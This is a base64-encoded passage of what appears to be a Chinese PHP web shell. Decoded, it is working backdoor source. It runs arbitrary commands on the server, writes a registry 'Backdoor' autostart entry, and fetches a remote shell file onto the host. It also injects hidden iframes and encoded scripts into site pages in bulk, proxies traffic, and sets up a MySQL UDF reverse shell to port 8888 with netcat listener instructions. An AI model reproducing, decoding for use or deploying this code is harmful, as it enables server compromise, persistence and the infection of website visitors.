QnKTsNCgkkdGItPnRkYm9keSgnPGJyPjx1bD48bGk+09DQp7XEyrG85LTBteTQzbe2zqfKx7TTuPHB1s3+1s7KsbzkIDE5MDEgxOogMTIg1MIgMTMgyNUg0MfG2s7lIDIwOjQ1OjU0ILW9IDIwMzjE6iAxINTCIDE5IMjVINDHxtq2/iAwMzoxNDowNzxicj4ouMPI1cbauPm+3SAzMiDOu9PQt/u6xdX7yv21xNfu0KHWtbrN1+6089a1tvjAtCk8L2xpPjxsaT7LtcP3OiDI1cihIDAxILW9IDMwINauvOQsIMqxyKEgMCC1vSAyNCDWrrzkLCC31rrNw+vIoSAwILW9IDYwINauvOQhPC9saT48L3VsPicsJ2xlZnQnKTsNCgkkdGItPnRkYm9keSgntbHHsM7EvP7D+zogJy4kZmlsZSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdjdXJmaWxlJywkZmlsZSk7DQoJJHRiLT50ZGJvZHkoJ9DeuMTOqjogJy4kdGItPm1ha2VpbnB1dCgneWVhcicsJzE5ODQnLCcnLCd0ZXh0JywnNCcpLicgxOogJy4kdGItPm1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCdvcHRpb24nPT4kY2FjaGVtb250aCwnc2VsZWN0ZWQnPT4nT2N0b2JlcicpKS4nINTCICcuJHRiLT5tYWtlaW5wdXQoJ2RhdGEnLCcxOCcsJycsJ3RleHQnLCcyJykuJyDI1SAnLiR0Yi0+bWFrZWlucHV0KCdob3VyJywnMjAnLCcnLCd0ZXh0JywnMicpLicgyrEgJy4kdGItPm1ha2VpbnB1dCgnbWludXRlJywnMDAnLCcnLCd0ZXh0JywnMicpLicgt9YgJy4kdGItPm1ha2VpbnB1dCgnc2Vjb25kJywnMDAnLCcnLCd0ZXh0JywnMicpLicgw+snLCdjZW50ZXInLCcyJywnMzAnKTsNCgkkdGItPm1ha2VoaWRkZW4oJ2RvJywnbW9kbXl0aW1lJyk7DQoJJHRiLT5mb3JtZm9vdGVyKCcxJywnMzAnKTsNCn0vL2VuZCBuZXd0aW1lDQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJzaGVsbCIpIHsNCgkkYWN0aW9uID0gIj8/YWN0aW9uPXNoZWxsJmRpcj0iLnVybGVuY29kZSgkZGlyKTsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT50ZGhlYWRlcignV2ViU2hlbGwgTW9kZScpOw0KICBpZiAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicpIHsNCgkJJHByb2dyYW0gPSBpc3NldCgkX1BPU1RbJ3Byb2dyYW0nXSkgPyAkX1BPU1RbJ3Byb2dyYW0nXSA6ICJjOlx3aW5udFxzeXN0ZW0zMlxjbWQuZXhlIjsNCgkJJHByb2cgPSBpc3NldCgkX1BPU1RbJ3Byb2cnXSkgPyAkX1BPU1RbJ3Byb2cnXSA6ICIvYyBuZXQgc3RhcnQgPiAiLiRwYXRobmFtZS4iL2xvZy50eHQiOw0KCQllY2hvICI8Zm9ybSBhY3Rpb249XCI/YWN0aW9uPXNoZWxsJmRpcj0iLnVybGVuY29kZSgkZGlyKS4iXCIgbWV0aG9kPVwiUE9TVFwiPlxuIjsNCgkJJHRiLT50ZGJvZHkoJ87eu9jP1NTL0NCzzNDyIKH6IM7EvP46ICcuJHRiLT5tYWtlaW5wdXQoJ3Byb2dyYW0nLCRwcm9ncmFtKS4nILLOyv06ICcuJHRiLT5tYWtlaW5wdXQoJ3Byb2cnLCRwcm9nLCcnLCd0ZXh0JywnNDAnKS4nICcuJHRiLT5tYWtlaW5wdXQoJycsJ1J1bicsJycsJ3N1Ym1pdCcpLCdjZW50ZXInLCcyJywnMzUnKTsNCgkJJHRiLT5tYWtlaGlkZGVuKCdkbycsJ3Byb2dyYW1ydW4nKTsNCgkJZWNobyAiIi4kY29weXVybC4kc2VydmVydS4iJnA9Ii4kc2VydmVycC4kY29weXVybGwuIjwvZm9ybT5cbiI7DQoJfQ0KIGVjaG8gIjxmb3JtIGFjdGlvbj1cIj9hY3Rpb249c2hlbGwmZGlyPSIudXJsZW5jb2RlKCRkaXIpLiJcIiBtZXRob2Q9XCJQT1NUXCI+XG4iOw0KIGlmKGlzc2V0KCRfUE9TVFsnY21kJ10pKSAkY21kID0gJF9QT1NUWydjbWQnXTsNCgkkdGItPnRkYm9keSgnzOHKvjrI57n7yuSz9r3hufuyu83qyKssvajS6bDRyuSz9r3hufvQtMjrzsS8/i7V4tH5v8nS1LXDtb3Iq7K/xNrI3S4gJyk7DQoJJHRiLT50ZGJvZHkoJ3Byb2Nfb3Blbrqvyv282cnosrvKx8SsyM+1xHdpbm50z7XNs8fr19TQ0Mno1sPKudPDLNfU0NDQ3rjEvMe1w9C0zcuz9iy38dTyu+HU2tb3u/rJz8H0z8LSu7j2zrS94cr4tcS9+LPMLicpOw0KCSR0Yi0+dGRib2R5KCdwcm9jX29wZW66r8r90qrKudPDtcRjbWSzzNDytcTOu9bDOicuJHRiLT5tYWtlaW5wdXQoJ2NtZCcsJGNtZCwnJywndGV4dCcsJzMwJykuJyjSqsrHysdsaW51eM+1zbO7ucrHtPO088PH19S8utDeuMSwySknKTsNCiAgICRleGVjZnVuY3MgPSAoc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gJ1dJTicpID8gYXJyYXkoJ3N5c3RlbSc9PidzeXN0ZW0nLCdwYXNzdGhydSc9PidwYXNzdGhydScsJ2V4ZWMnPT4nZXhlYycsJ3NoZWxsX2V4ZWMnPT4nc2hlbGxfZXhlYycsJ3BvcGVuJz0+J3BvcGVuJywnd3NjcmlwdCc9PidXc2NyaXB0LlNoZWxsJywncHJvY19vcGVuJz0+J3Byb2Nfb3BlbicpIDogYXJyYXkoJ3N5c3RlbSc9PidzeXN0ZW0nLCdwYXNzdGhydSc9PidwYXNzdGhydScsJ2V4ZWMnPT4nZXhlYycsJ3NoZWxsX2V4ZWMnPT4nc2hlbGxfZXhlYycsJ3BvcGVuJz0+J3BvcGVuJywncHJvY19vcGVuJz0+J3Byb2Nfb3BlbicpOw0KICAgJHRiLT50ZGJvZHkoJ9Gh1PHWtNDQuq/K/TogJy4kdGItPm1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNzLCdzZWxlY3RlZCc9PiRleGVjZnVuYykpLicgyuTI68P8we46ICcuJHRiLT5tYWtlaW5wdXQoJ2NvbW1hbmQnLCRfUE9TVFsnY29tbWFuZCddLCcnLCd0ZXh0JywnNjAnKS4nICcuJHRiLT5tYWtlaW5wdXQoJycsJ1J1bicsJycsJ3N1Ym1pdCcpKTsNCj8+DQogIDx0ciBjbGFzcz0ic2Vjb25kYWx0Ij4NCiAgICA8dGQgYWxpZ249ImNlbnRlciI+PHRleHRhcmVhIG5hbWU9InRleHRhcmVhIiBjb2xzPSIxMDAiIHJvd3M9IjI1IiByZWFkb25seT48P3BocA0KCWlmICghZW1wdHkoJF9QT1NUWydjb21tYW5kJ10pKSB7DQoJCWlmICgkZXhlY2Z1bmM9PSJzeXN0ZW0iKSB7DQoJCQlzeXN0ZW0oJF9QT1NUWydjb21tYW5kJ10pOw0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0icGFzc3RocnUiKSB7DQoJCQlwYXNzdGhydSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSJleGVjIikgew0KCQkJJHJlc3VsdCA9IGV4ZWMoJF9QT1NUWydjb21tYW5kJ10pOw0KCQkJZWNobyAkcmVzdWx0Ow0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ic2hlbGxfZXhlYyIpIHsNCgkJCSRyZXN1bHQ9c2hlbGxfZXhlYygkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCQllY2hvICRyZXN1bHQ7CQ0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0icG9wZW4iKSB7DQoJCQkkcHAgPSBwb3BlbigkX1BPU1RbJ2NvbW1hbmQnXSwgJ3InKTsNCgkJCSRyZWFkID0gZnJlYWQoJHBwLCAyMDk2KTsNCgkJCWVjaG8gJHJlYWQ7DQoJCQlwY2xvc2UoJHBwKTsNCgkJfSBlbHNlaWYgKCRleGVjZnVuYz09IndzY3JpcHQiKSB7DQoJCQkkd3NoID0gbmV3IENPTSgnVycuJ1NjcicuJ2lwJy4ndC5zaGUnLidsbCcpIG9yIGRpZSgiUEhQIENyZWF0ZSBDT00gV1NIU0hFTEwgZmFpbGVkIik7DQoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMgKCJjbSIuImQuZSIuInhlIC9jICIuJF9QT1NUWydjb21tYW5kJ10uIiIpOw0KCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7DQoJCQllY2hvICRzdHJvdXRwdXQ7DQoJCX0gZWxzZWlmKCRleGVjZnVuYz09InByb2Nfb3BlbiIpew0KJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoDQogICAwID0+IGFycmF5KCJwaXBlIiwgInIiKSwNCiAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLA0KICAgMiA9PiBhcnJheSgicGlwZSIsICJ3IikNCik7DQokcHJvY2VzcyA9IHByb2Nfb3BlbigiIi4kX1BPU1RbJ2NtZCddLiIiLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQoNCiAgICAvLyDQtMP8we4NCiAgICBmd3JpdGUoJHBpcGVzWzBdLCAiIi4kX1BPU1RbJ2NvbW1hbmQnXS4iXHJcbiIpOw0KICAgIGZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOw0KICAgIGZjbG9zZSgkcGlwZXNbMF0pOw0KICAgIC8vILbByKHK5LP2DQogICAgd2hpbGUgKCFmZW9mKCRwaXBlc1sxXSkpIHsNCiAgICAgICAgZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOw0KICAgIH0NCiAgICBmY2xvc2UoJHBpcGVzWzFdKTsNCiAgICB3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgew0KICAgICAgICBlY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7DQogICAgICB9DQogICAgZmNsb3NlKCRwaXBlc1syXSk7DQoNCiAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCn0NCgkJfSBlbHNlIHsNCgkJCXN5c3RlbSgkX1BPU1RbJ2NvbW1hbmQnXSk7DQoJCX0NCgl9DQoJPz48L3RleHRhcmVhPjwvdGQ+DQogIDwvdHI+ICANCiAgPC9mb3JtPg0KPC90YWJsZT4NCjw/cGhwDQp9Ly9lbmQgc2hlbGwNCg0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInJlZyIpIHsNCgkkYWN0aW9uID0gJz9hY3Rpb249cmVnJzsNCgkkcmVnbmFtZSA9IGlzc2V0KCRfUE9TVFsncmVnbmFtZSddKSA/ICRfUE9TVFsncmVnbmFtZSddIDogJ0hLRVlfTE9DQUxfTUFDSElORVxTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcQ29udHJvbFxUZXJtaW5hbCBTZXJ2ZXJcV2RzXHJkcHdkXFRkc1x0Y3BcUG9ydE51bWJlcic7DQoJJHJlZ2lzdHJlID0gaXNzZXQoJF9QT1NUWydyZWdpc3RyZSddKSA/ICRfUE9TVFsncmVnaXN0cmUnXSA6ICdIS0VZX0xPQ0FMX01BQ0hJTkVcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXEJhY2tkb29yJzsNCgkkcmVndmFsID0gaXNzZXQoJF9QT1NUWydyZWd2YWwnXSkgPyAkX1BPU1RbJ3JlZ3ZhbCddIDogJ2M6XHdpbm50XGJhY2tkb29yLmV4ZSc7DQoJJGRlbHJlZ25hbWUgPSAkX1BPU1RbJ2RlbHJlZ25hbWUnXTsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT5mb3JtaGVhZGVyKCRhY3Rpb24sJ7bByKHXorLhse0nKTsNCgkkdGItPnRkYm9keSgnvPzWtTogJy4kdGItPm1ha2VpbnB1dCgncmVhZHJlZ25hbWUnLCRyZWduYW1lLCcnLCd0ZXh0JywnMTAwJykuJyAnLiR0Yi0+bWFrZWlucHV0KCdyZWdyZWFkJywntsHIoScsJycsJ3N1Ym1pdCcpLCdjZW50ZXInLCcyJywnNTAnKTsNCgllY2hvICI8L2Zvcm0+IjsNCg0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfQtMjr16Ky4bHtJyk7DQoJJGNhY2hlcmVndHlwZSA9IGFycmF5KCdSRUdfU1onPT4nUkVHX1NaJywnUkVHX0JJTkFSWSc9PidSRUdfQklOQVJZJywnUkVHX0RXT1JEJz0+J1JFR19EV09SRCcsJ1JFR19NVUxUSV9TWic9PidSRUdfTVVMVElfU1onLCdSRUdfRVhQQU5EX1NaJz0+J1JFR19FWFBBTkRfU1onKTsNCgkkdGItPnRkYm9keSgnvPzWtTogJy4kdGItPm1ha2VpbnB1dCgnd3JpdGVyZWduYW1lJywkcmVnaXN0cmUsJycsJ3RleHQnLCc1NicpLicgwODQzTogJy4kdGItPm1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4ncmVndHlwZScsJ29wdGlvbic9PiRjYWNoZXJlZ3R5cGUsJ3NlbGVjdGVkJz0+JHJlZ3R5cGUpKS4nINa1OiAgJy4kdGItPm1ha2VpbnB1dCgncmVndmFsJywkcmVndmFsLCcnLCd0ZXh0JywnMTUnKS4nICcuJHRiLT5tYWtlaW5wdXQoJ3JlZ3dyaXRlJywn0LTI6ycsJycsJ3N1Ym1pdCcpLCdjZW50ZXInLCcyJywnNTAnKTsNCgllY2hvICI8L2Zvcm0+IjsNCg0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfJvrP916Ky4bHtJyk7DQoJJHRiLT50ZGJvZHkoJ7z81rU6ICcuJHRiLT5tYWtlaW5wdXQoJ2RlbHJlZ25hbWUnLCRkZWxyZWduYW1lLCcnLCd0ZXh0JywnMTAwJykuJyAnLiR0Yi0+bWFrZWlucHV0KCdyZWdkZWxldGUnLCfJvrP9JywnJywnc3VibWl0JyksJ2NlbnRlcicsJzInLCc1MCcpOw0KCWVjaG8gIjwvZm9ybT4iOw0KCSR0Yi0+dGFibGVmb290ZXIoKTsNCn0vL2VuZCByZWcNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJkb3dubG9hZHMiKXsNCiRhY3Rpb24gPSAnP2FjdGlvbj1kaXInOw0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwnaHR0cM7EvP7PwtTYxKPKvScpOw0KCSR0Yi0+dGRib2R5KCfE47/J0tTKudPDsb65psTcsNHSu9Cp0KG5pL7f0tRodHRwt73Kvc/C1Ni1vbTLt/7O8cb3JywnY2VudGVyJyk7DQoJJHRiLT50ZGJvZHkoJ87EvP7Ou9bDOiAnLiR0Yi0+bWFrZWlucHV0KCdkdXJsJywnaHR0cDovL2Jsb2cuYmxhY2t3b29kcy5jb20vbWl5YWJpL215c2hlbGwudHh0JywnJywndGV4dCcsJzcwJykuJzxicj7PwtTYtb06Jy4kdGItPm1ha2VpbnB1dCgncGF0aCcsJy4vbXlzaGVsbC5waHAnLCcnLCd0ZXh0JywnNjAnKS4nJy4kdGItPm1ha2VoaWRkZW4oJ2RvJywnZG93bmxvYWRzJykuJycuJHRiLT5tYWtlaW5wdXQoJycsJ8/C1NgnLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMScsJzM1Jyk7DQoJZWNobyAiPC9mb3JtPiI7DQoJJHRiLT50ZGJvZHkoJ9ei0uIsvNnJ6M7EvP7Mq7TzvavO3reoz8LU2M/CwLS2+MfS07DP7Na00NDL2bbILicsJ2NlbnRlcicpOw0KCSR0Yi0+dGFibGVmb290ZXIoKTsNCn0NCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJzZWFyY2giKXsNCiRhY3Rpb24gPSAnP2Rpcj0nLiRkaXIuJyc7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfOxLz+sunV0icpOw0KCSR0Yi0+dGRib2R5KCfE47/J0tTKudPDsb65psTcsunV0tK7uPbEv8K8z8K1xM7EvP7A78TE0LTOxLz+sPy6rNfFudi8/LTKIScsJ2NlbnRlcicpOw0KCSR0Yi0+dGRib2R5KCfOxLz+zrvWwzogJy4kdGItPm1ha2VpbnB1dCgncGF0aCcsJycuJG5vd3BhdGguJycsJycsJ3RleHQnLCc3MCcpLic8YnI+sunV0s7E19Y6Jy4kdGItPm1ha2VpbnB1dCgnb2xka2V5Jywnz8K8+icsJycsJ3RleHQnLCc2MCcpLicnLiR0Yi0+bWFrZWhpZGRlbignZG8nLCdzZWFyY2gnKS4nPGJyPiDKx7fxvMbL48v51NrQ0DxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idHlwZSIgdmFsdWU9Imxpc3QiIG9uY2xpY2s9ImphdmFzY3JpcHQ6YWxlcnQoXCfRobaotMu0pr2ru+HB0LP2udi8/LTK1NrL+dTazsS8/rXEtuDJ2dDQLLrNy/nU2rXExMfOxLz+09C24MnZ0NC9+NDQsci21Fxcblxcbrjxyr3Oqjpby/nU2tDQL87EvP7X3NDQXcD9yOdbMTIvOTldLNPDwLS9+NDQt9bO9i5cXG5cXG60y7mmxNy/ycTcu+HU9rzT0ruyv7fWtcTR08qxLMfrv7zCx8q508Msw7vT0L/JtsHIqM/evauz9rTtIVwnKSI+ICi0y7mmxNy6zc/Cw+bSu7j2uabE3Lvh07DP7Na00NDL2bbIo6zL+dLUxKzIz7nYsdUhKSA8YnI+ysq1sbbByKE6PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0eXBlMiIgdmFsdWU9ImdldHBhdGgiIG9uY2xpY2s9ImphdmFzY3JpcHQ6YWxlcnQoXCfRobaotMu0pr2ru+HB0LP2udi8/LTK1NrL+dTazrvWw7ywxOPJ6LaoveHK+Mf40/LE2rXEsr+31tfWt/suLlxcblxcbrLJyKG0y7mmxNyy6dXSzerOxLz+uvOw0crzserSxravtb3V0rW9tcTOxLz+w/vJz7y0v8m2wciht9bO9i4uLi5cXG5cXG60y7mmxNy/ycTcu+HU9rzT0ruyv7fWtcTR08qxLMfrv7zCx8q508Msw7vT0L/JtsHIqM/evauz9rTtIVwnKSI+ILbByKG52Lz8tMrHsCcuJHRiLT5tYWtlaW5wdXQoJ2JlbGluZScsJzAnLCcnLCd0ZXh0JywnMycpLie49tfWt/sgJy4kdGItPm1ha2VoaWRkZW4oJ2RpcicsJycuJGRpci4nJykuJ7W9udi8/LTKuvO12icuJHRiLT5tYWtlaW5wdXQoJ2VuZGxpbmUnLCcxMCcsJycsJ3RleHQnLCczJykuJ7j219a3+y4uLiAnLiR0Yi0+bWFrZWhpZGRlbignZGlyJywnJy4kZGlyLicnKS4nJy4kdGItPm1ha2VpbnB1dCgnJywnv6rKvLLp1dLOxLz+JywnJywnc3VibWl0JyksJ2NlbnRlcicsJzEnLCczNScpOw0KCWVjaG8gIjwvZm9ybT4iOw0KCSR0Yi0+dGRib2R5KCfH67HtzKu087XExL/CvMHLo6zC/cL95K/AwML9wv3V0rrDsru6w8LvLrzZyejRobaovMbL49DQy9m2yLvhwv2ho8/Uyr5by/nU2tDQL9fcubK24MnZ0NBdJywnY2VudGVyJyk7DQoJJHRiLT50YWJsZWZvb3RlcigpOw0KfQ0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInBsZ20iKSB7DQoJJGFjdGlvbiA9ICc/YWN0aW9uPXBsZ21vayc7DQoJJGdtID0gIjxpZnJhbWUgc3JjPWh0dHA6Ly8xMjcuMC4wLjEvbS5odG0gd2lkdGg9MCBoZWlnaHQ9MD48L2lmcmFtZT4iOw0KCSRnbW0gPSBiYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMeVUzTmlVMk15VTJNeVUyTkNVeVJTVTJNeVUyUlM4bE16SStQQzl6WTNKcGNIUSsnKTsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT5mb3JtaGVhZGVyKCRhY3Rpb24sJ8X6wb+50sLtJyk7DQoJJHRiLT50ZGJvZHkoJ87EvP7Ou9bDOiAnLiR0Yi0+bWFrZWlucHV0KCdkaXInLCcnLiRub3dwYXRoLicnLCcnLCd0ZXh0JywnNjAnKS4kdGItPm1ha2VoaWRkZW4oJ3NiYm0nLCcnLiRnbW0uJycsJycsJ3RleHQnKS4nPGJyPtKqudK0+sLrOicuJHRiLT5tYWtldGV4dGFyZWEoJ21tJywkZ20sJzUwJywnNScpLicnLiR0Yi0+bWFrZWhpZGRlbignZG8nLCfF+sG/udLC7ScpLic8YnI+Jy4kdGItPm1ha2VpbnB1dCgnc3VibWl0Jywnv6rKvLnSwu0nLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMScsJzM1Jyk7DQoJZWNobyAiIi4kY29weXVybC4kc2VydmVydS4iJnA9Ii4kc2VydmVycC4kY29weXVybGwuIjwvZm9ybT4iOw0KCSR0Yi0+dGFibGVmb290ZXIoKTsNCn0vL2VuZCBwcm94eQ0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInByb3h5Iikgew0KCSRhY3Rpb24gPSAnP2FjdGlvbj1wcm94eSc7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfU2s/ftPrA7ScsJ3Byb3h5ZnJhbWUnKTsNCgkkdGItPnRkYm9keSgnPGJyPjx1bD48bGk+08OxvrmmxNy99sq1z9a88rWltcQgSFRUUCC0+sDtLLK7u+HP1Mq+yrnTw8/gttTCt762tcTNvMasoaLBtL3TvLBDU1PR+cq9se0uPC9saT48bGk+08OxvrmmxNy/ydLUzai5/bG+t/7O8cb35K/AwMS/sepVUkwstauyu9ans9YgU1FMIEluamVjdGlvbiDMvbLi0tS8sMSz0KnM2Mri19a3+y48L2xpPjxsaT7Tw7G+uabE3OSvwMC1xCBVUkws1NrEv7Hq1ve7+snPwfTPwrXESVC8x8K8yscgOiAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLic8L2xpPjwvdWw+JywnbGVmdCcpOw0KCSR0Yi0+dGRib2R5KCdVUkw6ICcuJHRiLT5tYWtlaW5wdXQoJ3VybCcsJ2h0dHA6Ly93d3cuZ29vZ2xlLmNvbScsJycsJ3RleHQnLCcxMDAnKS4nICcuJHRiLT5tYWtlaW5wdXQoJycsJ+SvwMAnLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMScsJzQwJyk7DQoJJHRiLT50ZGJvZHkoJzxpZnJhbWUgbmFtZT0icHJveHlmcmFtZSIgZnJhbWVib3JkZXI9IjAiIHdpZHRoPSI3NjUiIGhlaWdodD0iNDAwIiBtYXJnaW5oZWlnaHQ9IjAiIG1hcmdpbndpZHRoPSIwIiBzY3JvbGxpbmc9ImF1dG8iIHNyYz0iaHR0cDovL3d3dy5nb29nbGUuY29tIj48L2lmcmFtZT4nKTsNCgllY2hvICI8L2Zvcm0+IjsNCgkkdGItPnRhYmxlZm9vdGVyKCk7DQp9Ly9lbmQgcHJveHkNCg0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInNxbCIpIHsNCgkkYWN0aW9uID0gJz9hY3Rpb249c3FsJzsNCg0KCSRzZXJ2ZXJuYW1lID0gaXNzZXQoJF9QT1NUWydzZXJ2ZXJuYW1lJ10pID8gJF9QT1NUWydzZXJ2ZXJuYW1lJ10gOiAnbG9jYWxob3N0JzsNCgkkZGJ1c2VybmFtZSA9IGlzc2V0KCRfUE9TVFsnZGJ1c2VybmFtZSddKSA/ICRfUE9TVFsnZGJ1c2VybmFtZSddIDogJ3Jvb3QnOw0KCSRkYnBhc3N3b3JkID0gJF9QT1NUWydkYnBhc3N3b3JkJ107DQoJJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQoJJHNxbF9xdWVyeSA9ICRfUE9TVFsnc3FsX3F1ZXJ5J107DQppZigkdHlwZT09ImZ1biIpew0KJHNxbF9xdWVyeSA9ICJDUkVBVEUgRlVOQ1RJT04gTWl4Y29ubmVjdCBSRVRVUk5TIFNUUklORyBTT05BTUUgJ0M6XFxcV2lubnRcXFxNaXguZGxsJzsNCnNlbGVjdCBNaXhjb25uZWN0KCciLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiInLCc4ODg4Jyk7LyrV4rj21+66w8/I1rTQ0MHLyc/D5tK7vuTU2dPDKi8NCi8qx+vU2sTjvMbL47v6yc/WtNDQIG5jIC12diAtbCAtcCA4ODg4Ki8iOw0KfQ0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwn1rTQ0CBTUUwg0+++5CcpOw0KCSR0Yi0+dGRib2R5KCdIb3N0OiAnLiR0Yi0+bWFrZWlucHV0KCdzZXJ2ZXJuYW1lJywkc2VydmVybmFtZSwnJywndGV4dCcsJzIwJykuJyBVc2VyOiAnLiR0Yi0+bWFrZWlucHV0KCdkYnVzZXJuYW1lJywkZGJ1c2VybmFtZSwnJywndGV4dCcsJzE1JykuJyBQYXNzOiAnLiR0Yi0+bWFrZWlucHV0KCdkYnBhc3N3b3JkJywkZGJwYXNzd29yZCwnJywndGV4dCcsJzE1JykuJyBEQjogJy4kdGItPm1ha2VpbnB1dCgnZGJuYW1lJywkZGJuYW1lLCcnLCd0ZXh0JywnMTUnKS4nICcuJHRiLT5tYWtlaW5wdXQoJ2Nvbm5lY3QnLCfBrL3TJywnJywnc3VibWl0JykpOw0KCSR0Yi0+dGRib2R5KCR0Yi0+bWFrZXRleHRhcmVhKCdzcWxfcXVlcnknLCRzcWxfcXVlcnksJzg1JywnMTAnKSk7DQoJJHRiLT5tYWtlaGlkZGVuKCdkbycsJ3F1ZXJ5Jyk7DQoJJHRiLT5mb3JtZm9vdGVyKCcxJywnMzAnKTsNCn0vL2VuZCBzcWwgcXVlcnkNCg0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInNxbGJhayIpIHsNCgkkYWN0aW9uID0gJz9hY3Rpb249c3FsYmFrJzsNCgkkc2VydmVybmFtZSA9IGlzc2V0KCRfUE9TVFsnc2VydmVybmFtZSddKSA/ICRfUE9TVFsnc2VydmVybmFtZSddIDogJ2xvY2FsaG9zdCc7DQoJJGRidXNlcm5hbWUgPSBpc3NldCgkX1BPU1RbJ2RidXNlcm5hbWUnXSkgPyAkX1BPU1RbJ2RidXNlcm5hbWUnXSA6ICdyb290JzsNCgkkZGJwYXNzd29yZCA9ICRfUE9TVFsnZGJwYXNzd29yZCddOw0KCSRkYm5hbWUgPSAkX1BPU1RbJ2RibmFtZSddOw0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwnsbi33SBNeVNRTCDK/b7dv+InKTsNCgkkdGItPnRkYm9keSgnSG9zdDogJy4kdGItPm1ha2VpbnB1dCgnc2VydmVybmFtZScsJHNlcnZlcm5hbWUsJycsJ3RleHQnLCcyMCcpLicgVXNlcjogJy4kdGItPm1ha2VpbnB1dCgnZGJ1c2VybmFtZScsJGRidXNlcm5hbWUsJycsJ3RleHQnLCcxNScpLicgUGFzczogJy4kdGItPm1ha2VpbnB1dCgnZGJwYXNzd29yZCcsJGRicGFzc3dvcmQsJycsJ3RleHQnLCcxNScpLicgREI6ICcuJHRiLT5tYWtlaW5wdXQoJ2RibmFtZScsJGRibmFtZSwnJywndGV4dCcsJzE1JykuJyAnLiR0Yi0+bWFrZWlucHV0KCdjb25uZWN0Jywnway90ycsJycsJ3N1Ym1pdCcpKTsNCglAbXlzcWxfY29ubmVjdCgkc2VydmVybmFtZSwkZGJ1c2VybmFtZSwkZGJwYXNzd29yZCkgQU5EIEBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQogICAgJHRhYmxlcyA9IEBteXNxbF9saXN0X3RhYmxlcygkZGJuYW1lKTsNCiAgICB3aGlsZSAoJHRhYmxlID0gQG15c3FsX2ZldGNoX3JvdygkdGFibGVzKSkgew0KCQkkY2FjaGV0YWJsZXNbJHRhYmxlWzBdXSA9ICR0YWJsZVswXTsNCiAgICB9DQogICAgQG15c3FsX2ZyZWVfcmVzdWx0KCR0YWJsZXMpOw0KCWlmIChlbXB0eSgkY2FjaGV0YWJsZXMpKSB7DQoJCSR0Yi0+dGRib2R5KCc8Yj7E+sO709DBrL3Tyv2+3b/iIG9yILWxx7DK/b7dv+LDu9PQyM66zsr9vt2x7TwvYj4nKTsNCgl9IGVsc2Ugew0KCQkkdGItPnRkYm9keSgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIj48dHI+PHRkIHZhbGlnbj0idG9wIj7H69Gh1PGx7To8L3RkPjx0ZD4nLiR0Yi0+bWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid0YWJsZVtdJywnb3B0aW9uJz0+JGNhY2hldGFibGVzLCdtdWx0aXBsZSc9PjEsJ3NpemUnPT4xNSw